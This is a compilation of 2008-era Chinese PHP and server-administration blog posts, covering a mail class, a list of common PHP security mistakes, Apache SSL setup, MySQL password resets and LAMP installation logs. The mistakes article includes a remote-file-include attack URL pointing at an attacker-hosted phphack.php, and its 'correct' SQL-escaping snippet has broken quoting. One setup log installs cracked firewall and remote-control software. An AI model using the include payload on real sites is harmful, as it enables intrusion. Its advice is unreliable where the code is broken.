$mailHeader .= $textHeader;
$mailHeader .= "--".$bodyBoundary. "n";
//--添加html标签
$mailHeader .= $htmlHeader;
$mailHeader .= "n--".$bodyBoundary. "--";
//--发送邮件
return mail($this->mailTo,$this->mailSubject, "",$mailHeader);
}
//--文本加html加附件
else if($this->mailText != "" && $this->mailHTML != "" && $this->mailAttachments != ""){
$attachmentBoundary = $this->getRandomBoundary();
$mailHeader .= "Content-Type: multipart/mixed;n";
$mailHeader .= ' boundary="'.$attachmentBoundary. '"'. "nn";
$mailHeader .= "This is a multi-part message in MIME format.n";
$mailHeader .= "--".$attachmentBoundary. "n";
$bodyBoundary = $this->getRandomBoundary(1);
$textHeader = $this->formatTextHeader();
$htmlHeader = $this->formatHTMLHeader();
$mailHeader .= "MIME-Version: 1.0n";
$mailHeader .= "Content-Type: multipart/alternative;n";
$mailHeader .= ' boundary="'.$bodyBoundary. '"';
$mailHeader .= "nnn";
$mailHeader .= "--".$bodyBoundary. "n";
$mailHeader .= $textHeader;
$mailHeader .= "--".$bodyBoundary. "n";
$mailHeader .= $htmlHeader;
$mailHeader .= "n--".$bodyBoundary. "--";
//--获取附件值
$attachmentArray = explode( ",",$this->mailAttachments);
//--根据附件的个数进行循环
for($i=0;$i//--分割 $mailHeader .= "n--".$attachmentBoundary. "n";
//--附件信息
$mailHeader .= $this->formatAttachmentHeader($attachmentArray[$i]);
}
$mailHeader .= "--".$attachmentBoundary. "--";
return mail($this->mailTo,$this->mailSubject, "",$mailHeader);
}
return false;
}
}
?>

使用方法:
Include “email.class”

$mail->setTo("a@a.com"); //收件人
$mail-> setCC("b@b.com,c@c.com"); //抄送
$mail-> setCC("d@b.com,e@c.com"); //秘密抄送
$mail->setFrom(“f@f.com”);//发件人
$mail->setSubject(“主题”) ; //主题
$mail->setText(“文本格式”) ;//发送文本格式也可以是变量
$mail->setHTML(“html格式”) ;//发送html格式也可以是变量
$mail->setAttachments(“c:a.jpg”) ;//添加附件,需表明路径
$mail->send(); //发送邮件
?>

PHP 只有一个类型运算符:instanceof

PHP 只有一个类型运算符:instanceof 用来测定一个给定的对象,它的父对象或它们所实现的接口是否来自指定的对象类。

instanceof 运算符是 PHP 5 引进的。在此之前用 is_a(),但是 is_a() 已经过时了,最好用 instanceof。


class A { }
class B { }

$thing = new A;

if ($thing instanceof A) {
echo 'A';
}
if ($thing instanceof B) {
echo 'B';
}
?>

单点登录的实现

http://blog.csdn.net/phphot/archive/2008/02/26/2121764.aspx

网站价值计算器

http://www.cwire.org/website-value-calculator/

兼职就业人员工资指导价位

兼职软件开发负责项目部分不少于5000元

兼职软件工程师一般在2000-3000元/月

兼职网络管理员800-1000元/月

兼职网站设计800-10000元/个
首页:1000-1500元/页;连接页:150-200元/页;数据库设计:1000-1500元;asp开发:2000-3500元;售后维护:总价的1%。
1、模块静态型:约800-1500元/个。一般制作者可以根据百套网站模板选择出较为合适的加以改良,制作较为简单。

2、模块静态型升级版:约3000元/个左右。在模块的基础上添加flash主页,因此制作者要有flash等制作技能。

3、动态标准型:5000元-1万元/个。这类网站拥有动态产品发布、产品搜索、新闻发布、留言、会员等系统,功能较为庞大,不是根据模板就能制作,需要制作者运用各种软件自行设计,满足功能需要。这类网站制作一般需要数天时间,因此报酬较高。

4、动态豪华型:1.5万元以上/个。这类网站功能更加强大,除了以上全部功能外,还拥有强大的电子商务系统、BBS系统、邮件广告系统、供求系统等等。因为是按照客户的各种要求度身定制,设计制作耗时较长,因此报酬也迅速升级。

计算机组装 兼职报酬:600-1000元/月

兼职FLASH制作
1、按数量计价:一个5分钟的FLASH,一般为2500-3000元;

2、按秒计价:通常采用文字和场景的二维动画,价格在每秒100多元,而有角色和场景的二维动画,价格在每秒300元左右;

3、按帧计价:15-20元/帧。当然这种计价方式要求作品设计优秀,制作非常精美,或者有特殊效果的要求。


兼职三维动画
每个动画一般都在1万元以上。具体报酬还可按效果和时间来计算,一般来说,简单的字幕和场景动画,通常在每秒400元至800元之间;如果有物体、角色动画,每秒800元至1200元不等;如果涉及到人物动画或复杂的角色动画,目前没有透明的市场价格,但仅仅是视频效果后期处理也在每秒100元至300元不等。

PHP程序员最易犯10种错误

PHP是个伟大的web开发语言,灵活的语言,但是看到php程序员周而复始的犯的一些错误。我做了下面这个列表,列出了PHP程序员经常犯的10中错误,大多数和安全相关。看看你犯了几种

1.不转意html entities




一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。




echo $_GET['usename'] ;





这个例子有可能输出:




/*更改admin密码的脚本或设置cookie的脚本*/




这是一个明显的安全隐患,除非你保证你的用户都正确的输入。




如何修复 :




我们需要将"< ",">","and" 等转换成正确的HTML表示(< , >', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的。




正确的方法:




echo htmlspecialchars($_GET['username'], ENT_QUOTES);





2. 不转意SQL输入
我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法。有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的!
如何修复:

和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数


正确做法:
$sql = "UPDATE users SET
name='.mysql_real_escape_string($name).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>






3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()
遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]

每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。
头部包含了一些非可视的数据,例如cookie。头部总是先到达。正文部分包括可视的html,图片等数据。
如果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发,而在部署到另一个环境中去的时候,output_buffering的设置可能不一样。结果转向停止了,cookie和session都没有正确的设置........。

如何修复:
确保在输出之前调用http-header相关的函数,并且令output_buffering = Off




4. Require 或 include 的文件使用不安全的数据
再次强调:不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。


例如:
index.php
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>


现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。


如果allow_url_fopen=On,你更是死定了:
试试这个输入:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。


如何修复:
你必须自己控制哪些文件可以包含在的include或require指令中。

下面是一个快速但不全面的解决方法:
//Include only files that are allowed.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit('not allowed');
}
?>




5. 语法错误
语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出。解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号。还有就是换个好的编辑器,就不要用记事本了!




6.很少使用或不用面向对象
很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象。




7. 不使用framework
95% 的PHP项目都在做同样的四件事: Create, edit, list 和delete. 现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?






8. 不知道PHP中已经有的功能
PHP 的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现!PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()



9.使用旧版本的PHP

很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.




10.对引号做两次转意

见过网页中出现\'或\'"吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。
原始文本:
It's a string




magic quotes on :
It\'s a string
又运行一次
addslashes():
It\\'s a string




HTML输出:
It\'s a string


还有一种情况就是,用户一开始输入了错误的登录信息,服务器检测到错误输入后,输出同样的form要求用户再次输入,导致用户的输入转意两次

php 在http和https之间转化

php:
    如果网页使用https访问,在网页开头加入以下代码:

* if ($_SERVER["HTTPS"]<>"on")
* { $xredir="https://".$_SERVER["SERVER_NAME"].
* $_SERVER["REQUEST_URI"]; header("Location: ".$xredir);
* }
* ?>

如果网页使用http访问,在网页开头加入以下代码:


* if ($_SERVER["HTTPS"]=="on")
* { $xredir="http://".$_SERVER["SERVER_NAME"].
* $_SERVER["REQUEST_URI"]; header("Location: ".$xredir);
* }
* ?>

WEB创业的十大准则

Evan Williams是Blogger的创始人,也是podcast服务网站Odeo的创始人和CEO。他根据自己的体会,列出了Web创业应该遵循的10条戒律(Ten Rules for Web Startups),摘录并评注如下:
一、收缩:专注于一个尽可能小的可能存在的难题,而你又能够解决这个难题。不要想着什么都做,贪多嚼不烂,搞不好就成了模仿者。小可以变大,船小好调头,小可以带给你很多优势,缝隙市场可以变成一个大市场。不要试图把1亿上网用户都当成你的用户,没用,能真正解决一部分用户的一部分需求,就足够你玩儿的。

二、差异:要记住很多人都在做着跟你一样的事情,而其中一个是Google。在这个市场上,专才比通才有用。不一定要做多么领先的事情,寻常的事情你同样可以做得跟别人不一样,比如Google。起名字也不要用那些通用词汇,比如像博客网、中国博客网、亚洲博客网、世界博客网之类的,太多了没人分得清谁是谁。

三、随意:随意的网络要大于刻意的网络,因为人们还要生活。创建一种服务让它适应并对人们每天的生活有所助益,而不要要求太多的承诺或改变他们的身份。放轻松,很多时候,偶然的需要让你的服务更有价值,就像Skype上偶然发生的对话。既然生活本身就是随意的、偶然的,不要总是试图限制用户。

四、挑剔:这一点适用于很多方面:服务的特性、员工、投资者、合作伙伴、记者采访等等。如果感觉某样东西不太对劲,就放一放。Google最强大的力量之一,就是他们乐于对机会、快钱、可能的雇员以及交易说不。但很多人太心切,太怕错过这村没这店,所以往往来者不拒,最终将会后悔。

五、以用户为中心:用户体验就是一切。你的整个公司都必须建立在这上面,如果你不懂什么叫以用户为中心的设计,赶快学,雇用懂的人。把对的特性做对,远超过添加一百个特性。Ajax是为了让网站更互动,而不是因为它很性感。API是为了让开发者更容易为用户增加价值,而不是为了去取悦geek们。

六、自我本位:伟大的产品从来都是来自一个人自身的渴求。创造你自己需要的产品,成为你自己产品的用户,雇用你的产品的用户,按你自己的愿望改善它。另一方面,避免在费用、用户、或者有可能妨碍你改善产品等方面,跟大公司做交易。因为你小他们大,你很难说不。

七、饥渴:有选择永远好过没选择,最好的办法就是有收入。要为你的产品设计出收费模式并在6个月内开始有进项,这样你才会有市场费用。而且,有收入也会让你在融资或收购谈判中,处于更有利的位置。不过在中国可能没这么简单,为了赚钱而让服务变形的事总是在发生着。

八、苗条:保持低成本是一种Web创业智慧。能使用互联网上现有的服务,就不要花钱买。如果你希望被大公司收购,就更不能让自己显得很庞杂,小公司更容易被收购。Tim O''Reilly说过,如果你看到一家公司在市场活动上花很多钱,你可以肯定地知道,这不是一家Web 2.0公司。充分利用互联网现成的资源,也是一种能力。

九、灵活:要学会改变计划。Pyra最初要做的是一个项目管理程序,而不是Blogger。Flickr最初要做的是游戏。Ebay最初也只是想销售拍卖软件。最初的设想几乎永远都是错的。一开始就认定自己是对的,很可能撞上南墙。要把创业过程,变成一个BETA过程,不断debug,不断调整,不断改进。

十、平衡:初创公司是什么样?目光迷离、睡眠不足、垃圾食品充饥、咖啡提神……还有呢?要知道,自然要求健康的平衡,当平衡成为你的公司的一部分,你就拥有了一样秘密武器。需要玩儿命,也需要玩儿。一个充满活力的平衡的团队,也会给人更多的信任和期待。

额外、谨慎(这个是额外的奖励):不要拿上面的戒律当成金科玉律,凡事总有例外。

在Windows上用apache實作https

系統規格:
win 2000 server SP4、 apache_2.2.8-win32-x86-openssl-0.9.8g.msi (2008-01-19 release)

(1)在windows系統中,apache的安裝版(Win32 Binary)可分為有包括openssl及no-ssl-module的兩種版本,記得下載有openssl module的。下載完並著手安裝並沒有特別困難的部分只要跟著對話框完成安裝即可。安裝完直接在瀏覽器上鍵入http://127.0.0.1,如果出現It works!就表示安裝完成。

(2)由於並沒有向認證中心申請CA(Certficate Authority) 所以這次的安裝是以實作「自發CA認證」為主,而我們所下載的msi安裝檔是搭配openssl 0.9.8g。所以接著我們要編輯%APACHE_HOME%\conf\httpd.conf
去掉
LoadModule ssl_module modules/mod_ssl.so
Include conf/extra/httpd-ssl.conf
前面的"#"並將httpd.conf存檔

(3)接著我們就要來產生CA認證的檔案了,首先你得到網路上搜尋並且下載openssl.cnf 這個檔案回來,並且放到%APACHE_HOME%\bin的目錄底下,windows系統會將他辨認為speeddial,所以連點兩下並沒有辦法進行編輯而必需用記事本或editplus等文字編輯器以"開啟舊檔"的方式開啟,開啟後請更改以下設定
dir = ssl
certs = $dir\\certs # Where the issued certs are kept
crl_dir = $dir\\crl # Where the issued crl are kept
database = $dir\\index.txt # database index file.
new_certs_dir = $dir\\newcerts # default place for new certs.

certificate = $dir\\cacert.pem # The CA certificate
serial = $dir\\serial # The current serial number
crl = $dir\\crl.pem # The current CRL
private_key = $dir\\privkey.pem # The private key //原本有private資料夾
RANDFILE = $dir\\private.rnd # private random number file //原本有private資料夾
//其實就是多加個反斜線上去

並且將x509_extensions = x509v3_extensions 那一行前面加個"#"

(4)接著在%APACHE_HOME%\bin的目錄底下建立ssl資料夾也就是產生%APACHE_HOME%\bin\ssl目錄,並且在這個目錄中新建立二個檔案與一個資料夾
1. 新增一個文字檔,名稱為index.txt,內容為空白
2. 新增一個檔案,名稱為serial(不要副檔名),內容輸入01
3. 新增資料夾,名稱為newcerts

(5)接著就是重頭戲來了,到command line模式底下,切換目錄到%APACHE_HOME%\bin,開始鍵入指令產生CA憑證

>openssl genrsa -des3 -out ssl/ca.key 1024 //Enter pass phrase for ssl/ca.key and verify again

>openssl req -config openssl.cnf -new -key ssl/ca.key -out ssl/ca.csr //Enter pass phrase for ssl/ca.key and insert information about your certificate request.

>openssl x509 -days 3650 -req -signkey ssl/ca.key -in ssl/ca.csr -out ssl/ca.crt //Enter pass phrase for ssl/ca.key.

>openSSL genrsa -out ssl/server.key 1024

>openssl req -config openssl.cnf -new -key ssl/server.key -out ssl/server.csr //Enter pass phrase for ssl/ca.key and insert information about your certificate request.

>openssl ca -config openssl.cnf -days 3650 -cert ssl/ca.crt -keyfile ssl/ca.key -in ssl/server.csr -out ssl/server.crt //Enter pass phrase for ssl/ca.key and Check the request signature

(6)完成CA設定後,%APACHE_HOME%\bin\ssl下有11個檔案及一個目錄,再將整個ssl目錄copy到%APACHE_HOME%\conf下

(7)修改%APACHE_HOME%\conf\extra\httpd-ssl.conf
SSLCertificateFile %APACHE_HOME%/conf/ssl/server.crt //指到新建的server.crt憑證
SSLCertificateKeyFile %APACHE_HOME%/conf/ssl/server.key

(8)此時重新啟動Apache server並鍵入https://127.0.0.1,就應該大功告成了。

參考資料:

http://blog.roodo.com/myroodo/archives/4219557.html

15位身份证的号码格式是什么?

身份证号码与一个人的性别、出生年月、籍贯等信息是紧密相连的,无论是15位还是18位的身份证号码,其中都保存了相关的个人信息。我国现行居民身份证是全国统一编号,每个公民是一人一号,同年、同月、同日所出生的按地区人数,按县固定次序进行合理分配顺序号代码。

15位身份证号码:
1、第l一6位数为行政区划代码;是指公民第一次申领居民身份证时的常住户口所在地的行政地区。

  2、第7—12位数为出生日期代码;
第7、8位为出生年份(两位数),第9、10位为出生月份,第11、12位代表出生日期。

  3、第13---15位数为分配顺序代码;是按人口数统一合理分配以固定顺序给予每个人的顺序号,最末一位数是奇数的分配给男性,偶数分配给女性。

1234567890ABCDE
“12”一般是省的代号
“34”一般是市的代号
“56”一般是市的某区(如果你是省级会城市)或县的代号
“78”是你的出生年份的后两们如1978,就取78
“90”是你出生的月份
“AB”是你出生的日
“CDE”是你的分配给你的顺序号

修改mysql的root密码的几种方法

Method 1:
在/usr/local/mysql/bin/下:
./mysqladmin -u root password ‘new_password’
一般安装时用此方法设置。

Method 2:
在mysql状态下:
mysql>UPDATE user SET password=PASSWORD(’new_password’) WHERE user=’root’;
mysql>FLUSH PRIVILEGES;

Method 3:
mysql>SET PASSWORD FOR root=PASSWORD(’new_password’);

补一下补知道root密码情况下修改root密码
mysqld启动的时候加上–skip-grant-tables,然后马上修改密码,修改后去掉–skip-grant-tables,然后就OK了。

2008年4月26日星期六

Dell PowerEdge R300 安装(win2003)

1. 买一张 windows server 2003 (v6)
2. 光盘启动安装,选择正式的版本
3. 按照光盘的提示一步一步安装好windows 2003 server
4. 网卡会认不出来,从dell的光盘中选择R300的2003驱动。下载到硬盘,然后一项一项的安装。
5. 至此硬件应该可以全部认出来了,根据服务器的网络地址配置网卡。
6. 安装防火墙,sygate 5.5 2270破解版本
7. 安装远程访问的terminal服务
8. 安装Radmin31的破解版本,因为terminal服务看不到防火墙的配置。有些时候需要全面的控制。
9. 安装apache到D:\Apache
10.安装FileZilla Ftp Server到D:\FtpS
11.安装mysql服务器,注意修改root用户的密码,并且将字符集选择为utf8。
12.安装cygwin,目的是为了ssh服务器。svn服务器和crond服务。
---------------------------------------
由于工作需要, 需要在window xp上配置个ssh server, 从网上找了个winsshd, 可以把winxp配置成ssh server但是, winsshd不是免费的软件, 公司不让用, 所以没有办法, 只有在cygwin上配置了.

如果怕配置cygwin上的sshd麻烦, 可以直接下载sshwindow (http://sshwindows.sourceforge.net/), 一个安装软件, 安装上就ok了. 由于我的server上已经安装并配置了cronjob, 所以不能直接安装sshwindow. 下面是我的配置步骤, 其中走了不少弯路:

1. 通过cygwin setup安装上openssh.
2. 在我的电脑->属性->高级->环境变量中配置加入变量CYGWIN=ntsec, 建议cygwin使用windows的安全规则.
3. 在path环境变量中加入%cygwin%/bin的路径, 例如: ;c:\cygwin\bin
4. 打开cygwin, 输入目录: ssh-host-config, 一路yes, 最后提示:CYGWIN=时键入ntsec.
5. 然后运行net start sshd或者cygrunsrv -S sshd.
6. 结束了, 是不是也很简单啊
---------------------------------------
13. 安装php
wget -c http://cn2.php.net/get/php-5.2.5-Win32.zip/from/this/mirror
wget -c http://cn2.php.net/get/pecl-5.2.5-Win32.zip/from/this/mirror

14. 安装phpAdmin
wget -c http://prdownloads.sourceforge.net/phpmyadmin/phpMyAdmin-2.11.5-all-languages-utf-8-only.tar.gz?download
15. 安装perl
wget -c http://downloads.activestate.com/ActivePerl/Windows/5.10/ActivePerl-5.10.0.1002-MSWin32-x86-283697.msi
16. 安装cronolog
wget -c http://cronolog.org/download/cronolog-1.6.1-win32.zip
unzip cronolog-1.6.1-win32.zip

17. 安装awstats
17.1 下载awstats
wget -c http://prdownloads.sourceforge.net/awstats/awstats-6.7.exe
17.2 运行awstats-6.7.exe安装
但是运行时发现apache的配置没有被自动修改。
需要手动作如下修改:
--------------------------------------------
httpd.conf的末尾增加
#
# Directives to allow use of AWStats as a CGI
#
Alias /awstatsclasses "D:/AWStats/wwwroot/classes/"
Alias /awstatscss "D:/AWStats/wwwroot/css/"
Alias /awstatsicons "D:/AWStats/wwwroot/icon/"
ScriptAlias /awstats/ "D:/AWStats/wwwroot/cgi-bin/"

# This is to permit URL access to scripts/files in AWStats directory.
#

Options None
AllowOverride None
Order allow,deny
Allow from all



Options ExecCGI
AllowOverride None
Order allow,deny
Allow from all


httpd.conf中查找
#AddHandler cgi-script .cgi
在其后增加
AddHandler cgi-script .pl

修改D:/AWStats/wwwroot/cgi-bin/awstats.pl中的第一句
#!/usr/bin/perl
为系统所安装的perl的目录
#!d:\Perl\bin\perl.exe

修改D:/AWStats/wwwroot/cgi-bin/awredir.pl中的第一句
#!/usr/bin/perl
为系统所安装的perl的目录
#!d:\Perl\bin\perl.exe

修改D:/AWStats/wwwroot/cgi-bin/awstats.www.conf中的
DirIcons="/icon"

DirIcons="/awstatsicons"
否则页面图标显示会报错。

修改D:/AWStats/wwwroot/cgi-bin/awstats.www.conf中的
LogFile="/var/log/httpd/mylog.log"

LogFile="D:/www/logs/%YYYY-0%MM-0%DD-0_access.log"
否则会报错说找不到日志。

修改D:/AWStats/wwwroot/cgi-bin/awstats.www.conf中的
AllowToUpdateStatsFromBrowser=0

AllowToUpdateStatsFromBrowser=1
否则从浏览器来的请求不会得到最新的数据。

--------------------------------------------
最后访问页面http://xxx.xxx.xxx.xxx/awstats/awstats.pl?config=www
确认没有问题。www为安装awstats-6.7.exe过程中所输入的配置名称。

17.3 定义日常的更新任务:
17.3.1. 创建更新脚本:D:\AWStats\update_www.bat
----------------------------------------
C:\windows\system32\cmd.exe /C D:\AWStats\wwwroot\cgi-bin\awstats.pl -config=www -update
----------------------------------------
17.3.2. 控制面板--> 任务计划--〉添加任务计划 ...
注意选择上面的文件即可。

18. 安装phpBb
具体问题可以访问http://www.phpbbchina.com 那里有详尽的中文版本解释。
18.1 下载
wget -c http://www.phpbbchina.com/download/phpbb3.0.1_zh_phpbbchina.zip
18.2 安装
解压缩得到phpbb3.0.1,将该目录改名为bb并且移动到d:/www/htdocs/bb
18.3 定义论坛版面等具体问题,参看
http://www.phpbbchina.com/forum/viewtopic.php?f=5&t=778

注意phpbb的license是GPL,意味着必须将自己的代码和phpbb的代码严格分离开来,可以尽量通过数据库交互。
19. 安装ThinkPHP框架
19.1 下载
wget -c http://download3.thinkphp.cn/ThinkPHP_1.0.3_full.7z
19.2 安装
解压缩并且放到d:/www/下面。
19.3 安装 vendor包
20. 安装EShop
20.1 安装数据库文件
20.2 安装EShop前端

2008年4月25日星期五

CentOS5 保留如下服务

auditd
autofs
cpuspeed
crond
httpd
ip6tables
iptables
irqbalance
kudzu
lvm2-monitor
mcstrans
mdmonitor
messagebus
microcode_ctl
mysqld
netfs
network
nfslock
pcscd
portmap
readahead_early
readahead_later
restorecond
rpcgssd
rpcidmapd
sendmail
setroubleshoot
smartd
sshd
syslog
xfs

开启以上服务后内存的状态如下:
total used free shared buffers cached
Mem: 1029864 373584 656280 0 21916 283340
-/+ buffers/cache: 68328 961536
Swap: 2031608 0 2031608

2008年4月24日星期四

最终版本查错

1. 首页查错
1.1 没有帮助页,暂时定义为 help.html index.php/index/help
1.2 没有联系我们页,暂时定义为 contact.html index.php/index/contact
1.3 没有立即预定,暂时定义为#
1.4 没有忘记密码页设计,暂时定义为forgetpass.html index.php/index/forgetPass
2. 会员登录页查错
2.1 没有返回首页的链接

Dell PowerEdge R300 安装

1. 尝试window 2003 advanced server,失败。估计版本太旧导致。
2. 尝试window 2000 advanced server,成功一半,但是网卡装不上。
3. 尝试CentOS 4.4,失败。安装过程报错。问题在于不能识别光驱。
4. 尝试Redhat 12(ES5),成功安装。而且安装速度比较快。
5. 开始安装LAMP。
5.1 配置使用CentOS 5的升级服务。
----------------------------------------
通过 http://mirror-status.centos.org 网站查找离自己最近的镜像站点,替换下面文件中的相应地址: (发现国内http://centos.ustc.edu.cn/较快,推荐使用)
5.1.1.修改 /etc/yum.repos.d/rhel-debuginfo.repo 为如下内容:

[base]
name=Red Hat Enterprise Linux $releasever -Base
baseurl=http://centos.ustc.edu.cn/centos/5/os/$basearch/
gpgcheck=1
[update]
name=Red Hat Enterprise Linux $releasever -Updates
baseurl=http://centos.ustc.edu.cn/centos/5/updates/$basearch/
gpgcheck=1
[extras]
name=Red Hat Enterprise Linux $releasever -Extras
baseurl=http://centos.ustc.edu.cn/centos/5/extras/$basearch/
gpgcheck=1
[addons]
name=Red Hat Enterprise Linux $releasever -Addons
baseurl=http://centos.ustc.edu.cn/centos/5/addons/$basearch/
gpgcheck=1

5.1.2.下载并导入KEY

cd /etc/pki/rpm-gpg
wget http://centos.ustc.edu.cn/centos/RPM-GPG-KEY-CentOS-5
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-5

5.1.3. yum指令
注:当第一次使用yum或yum资源库有更新时,yum会自动下载所有所需的headers放置于/var/cache/yum目录下,所需时间可能较长.
rpm包的更新
* 检查可更新的rpm包
#yum check-update
* 更新所有的rpm包
#yum update
* 更新指定的rpm包,如更新kernel和kernel source
#yum update kernel kernel-source
* 大规模的版本升级,与yum update不同的是,连旧的淘汰的包也升级
#yum upgrade
rpm包的安装和删除
* 安装rpm包,如xmms-mp3
#yum install xmms-mp3
* 删除rpm包,包括与该包有倚赖性的包
#yum remove licq
* 注:同时会提示删除licq-gnome,licq-qt,licq-text
yum暂存(/var/cache/yum/)的相关参数
* 清除暂存中rpm包文件
#yum clean packages
* 清除暂存中rpm头文件
#yum clearn headers
* 清除暂存中旧的rpm头文件
#yum clean oldheaders
* 清除暂存中旧的rpm头文件和包文件
#yum clearn 或#yum clearn all
* 注:相当于yum clean packages + yum clean oldheaders
包列表
* 列出资源库中所有可以安装或更新的rpm包
#yum list
* 列出资源库中特定的可以安装或更新以及已经安装的rpm包
#yum list mozilla
#yum list mozilla*
* 注:可以在rpm包名中使用匹配符,如列出所有以mozilla开头的rpm包
* 列出资源库中所有可以更新的rpm包
#yum list updates
* 列出已经安装的所有的rpm包
#yum list installed
* 列出已经安装的但是不包含在资源库中的rpm包
#yum list extras
* 注:通过其它网站下载安装的rpm包
rpm包信息显示(info参数同list)
* 列出资源库中所有可以安装或更新的rpm包的信息
#yum info
* 列出资源库中特定的可以安装或更新以及已经安装的rpm包的信息
#yum info mozilla
#yum info mozilla*
* 注:可以在rpm包名中使用匹配符,如列出所有以mozilla开头的rpm包的信息
* 列出资源库中所有可以更新的rpm包的信息
#yum info updates
* 列出已经安装的所有的rpm包的信息
#yum info installed
* 列出已经安装的但是不包含在资源库中的rpm包的信息
#yum info extras
* 注:通过其它网站下载安装的rpm包的信息
搜索rpm包
* 搜索匹配特定字符的rpm包
#yum search mozilla
* 注:在rpm包名,包描述等中搜索
* 搜索有包含特定文件名的rpm包
#yum provides realplay
----------------------------------------
5.2 升级软件
----------------------------------------
#yum update
----------------------------------------
5.3 重启,确认升级没有带来副作用。
5.4 安装Apache服务器及相关组件。这里使用yum命令来在线安装。
----------------------------------------
5.4.1 使用 yum 程序安装所需开发包(以下为标准的rpm包名称)
# yum install gcc gcc-c++ gcc-g77 flex bison autoconf automake bzip2-devel zlib-devel ncurses-devel libjpeg-devel libpng-devel libtiff-devel freetype-devel pam-devel openssl-devel libxml2-devel gettext-devel pcre-devel
5.4.2 安装gd
#yum install gd
5.4.3 安装mysql
#yum -y install mysql mysql-server
启动mysql数据库
#service mysqld start
修改root用户密码
#/usr/bin/mysqladmin -u root password 'new-password'

5.4.4 安装php-mysql
#yum -y install php-mysql
5.4.5 安装apache httpd
#yum -y install httpd
5.4.6 安装phpMyAdmin,让数据库管理更加简单
#wget -c http://prdownloads.sourceforge.net/phpmyadmin/phpMyAdmin-2.11.5.2-all-languages.tar.gz?download
#tar -zxvf phpMyAdmin-2.11.5.2-all-languages.tar.gz
#mv phpMyAdmin-2.11.5.2-all-languages /var/www/phpmyadmin ← 移动到网站的相应目录下
5.4.7 安装php
#yum -y install php
5.4.8 安装php-mbstring,让phpmyadmin能够正确识别字符串。
yum -y install php-mbstring
5.4.9 安装php-mcrypt,让phpmyadmin可以加密cookie
yum -y install php-mcrypt
5.4.10 配置phpmyadmin
建立配置文件
#cp /var/www/phpmyadmin/config.sample.inc.php /var/www/phpmyadmin/config.inc.php
注意需要设置config.inc.php中的blowfish_secret字段,否则最后运行时会有错误提示。

改变phpmyadmin的归属
#chown -R root:apache /var/www/phpmyadmin/
#vi /etc/httpd/conf.d/phpmyadmin.conf ← 建立供Apache调用的phpMyAdmin配置文件如下:
Alias /phpmyadmin /var/www/phpmyadmin
# service httpd restart 从新启动httpd服务器以更新配置
测试phpmyadmin 在浏览器里输入http://服务器地址/phpmyadmin

----------------------------------------
5.5 安装cronolog截断日志
google for cronolog download url
#wget http://cronolog.org/download/cronolog-1.6.2.tar.gz
#tar -zxvf cronolog-1.6.2.tar.gz
#cd cronolog-1.6.2
#./configure
#make
#make install
最后将被安装到/usr/local/sbin/cronolog
在FormatLog附近加入两句:

CustomLog "|/usr/local/sbin/cronolog /var/log/httpd/access_%Y%m%d.log" combined

ErrorLog "|/usr/local/sbin/cronolog /var/log/httpd/error_%Y%m%d.log"
然后重启apache让改动生效。
#service httpd restart
5.6 安装GeoIP
#yum install GeoIP GeoIP-data GeoIP-devel perl-Geo-IP

5.7 安装awstats
第一步下载安装包。
#http://awstats.sourceforge.net/files/awstats-6.8.tar.gz
#tar -zxvf awstats-6.8.tar.gz
第二步安装到网站前端
#mv awstats-6.8 /usr/local/awstats
#cd /usr/local/awstats
#perl tools/awstats_configure.pl
按照提示去操作。
#crontab -e
*/5 * * * * /usr/local/awstats/wwwroot/cgi-bin/awstats.pl -update -config=www
每五分钟更新一次。
访问页面:http://localhost/awstats/awstats.pl?config=www

5.9 让mysqld和httpd自动启动
使用setup或者chkconfig

5.10 安装ftp服务,这里选用vsftpd (Very Secure FTPD)
#yum install vsftpd


可选步骤:
9,安装zend optimizer引擎
[root@www ~]#tar zxvf Zend Optimizer v3.2.6.tar.gz
[root@www ~]# cd Zend Optimizer v3.2.6
[root@www ~]# ./install.sh
注意安装的时候
选择Yes同意使用协议
设置安装目录,这里以默认的/usr/local/Zend为例,然后选择OK进入下一步。
设置PHP配置文件所在的位置,一般为/etc(默认),如果PHP的配置文件在别处的话,请根据实际情况设置。
被询问是否使用Apache服务器,这里选择Yes。
